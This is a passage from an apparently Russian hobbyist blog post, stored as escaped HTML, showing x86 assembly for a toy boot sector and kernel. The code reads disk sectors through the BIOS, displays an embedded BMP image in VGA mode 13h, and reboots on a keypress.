&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;jmp&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;9000h:0000h&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;; передаем управление на заданный адрес&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Error:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;;если ошибка- че то там делаем&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;BootMsg db &quot;Boot Sector Loaded&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;BootMsgEnd:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;TIMES&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;510-($-$$) DB 0 &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;DW&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;0AA55h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Теперь идет непосредственно ядро:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;KernelStart:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;org&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;0h&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;KernelStartCode:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;jmp&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;KernelCode&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;BootDisk DB ?&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;KernelMsg db &quot;Kernel Started&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;KernelMsgEnd:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt;; процедура чтения сектора по номеру.&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt;; вход ax= номер сектора&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt;; es:bx= куда кинуть&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;ReadSectors:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;push&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;push&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cx&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cwd&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cx, 18&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;div&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cx&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cx, dx&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;inc&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cx&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;xor&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;dh, dh&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;shr&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax, 1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;rcl&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;dh, 1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ch, al&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;shl&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ah, 4&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;or&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cl, ah&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;dl, [BootDisk]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax, 0201h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;13h&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;pop&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cx&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;pop&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ret&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;KernelCode:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt;;извещаем что мы подгрузились&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;[BootDisk], dl&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;dx, 0100h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;bx, 15&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax, 1301h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;bp, KernelMsg&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cx, KernelMsgEnd - KernelMsg&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;10h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;xor&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;ax, ax&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt;; ждем нажатия клавиши и устанавливаем режим 320*200*256&lt;/i&gt;&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt; &lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;16h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax, 13h &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;10h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;mov&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;ax, 0A000h&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt;; начало непосредственно прямого вывода в видеобуффер&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;es, ax&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;xor&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;bx, bx&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax, 2&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;m1:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;call&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ReadSectors &lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt;;читаем сектора пока не выведем все&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;add&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;bx, 512&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;inc&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cmp&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax, 125&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;jne&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;m1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;xor&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax, ax&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;16h&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt;;ждем нажатия и ребутим ПК&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;jmp&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;0FFFFh:0000h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; TIMES &amp;nbsp;0 - ($-KernelStart) mod 512 DB 0&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #38761d;&quot;&gt; ; уравниваем размеры&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;KernelEnd:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp;file &#39;2.bmp&#39; &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;; инклюдим наше ядро&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
Вот собсно и все. проверить как оно работает можно в боше.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG4Y_E8P-Jwlz8z_-D5tmyl3ATL230moUezES3MsRcYKxGbVbGtVYKg2VVnVddkM4Sp6v4VnqjNUcH9V9Ff2rVH29iXUaH1Nutqf8M4KQSalvaTDj0s4htwtMtqHlsX4mF8IXUy9KD0G6d/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;296&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG4Y_E8P-Jwlz8z_-D5tmyl3ATL230moUezES3MsRcYKxGbVbGtVYKg2VVnVddkM4Sp6v4VnqjNUcH9V9Ff2rVH29iXUaH1Nutqf8M4KQSalvaTDj0s4htwtMtqHlsX4mF8IXUy9KD0G6d/s320/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9vzPhKS8527l9qrSxtPKyyXHquUFhvL3GPkhSr2ClepSkeRz_TU0w6JRwUk0JHVapvFuxGrJTRK9spPX1ldOp6JfQNTFl1bsHcYnmjNM64-a2uVJbgyLDNcNIGpF-lhU0-N41XRmiz6zH/s1600/%25D0%2591%25D0%25B5%25D0%25B7%25D1%258B%25D0%25BC%25D1%258F%25D0%25BD%25D0%25BD%25D1%258B%25D0%25B92.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;297&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9vzPhKS8527l9qrSxtPKyyXHquUFhvL3GPkhSr2ClepSkeRz_TU0w6JRwUk0JHVapvFuxGrJTRK9spPX1ldOp6JfQNTFl1bsHcYnmjNM64-a2uVJbgyLDNcNIGpF-lhU0-N41XRmiz6zH/s320/%25D0%2591%25D0%25B5%25D0%25B7%25D1%258B%25D0%25BC%25D1%258F%25D0%25BD%25D0%25BD%25D1%258B%25D0%25B92.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
ЭХЭХЭ)&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
ну вот собсно и усе).&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
А ТЕПЕРЬ БУДЕТ ТАКОЙ СЕ НАБОЛЕВШИЙ ПОСТ СКРИПТУМ))))))))&lt;/div&gt;
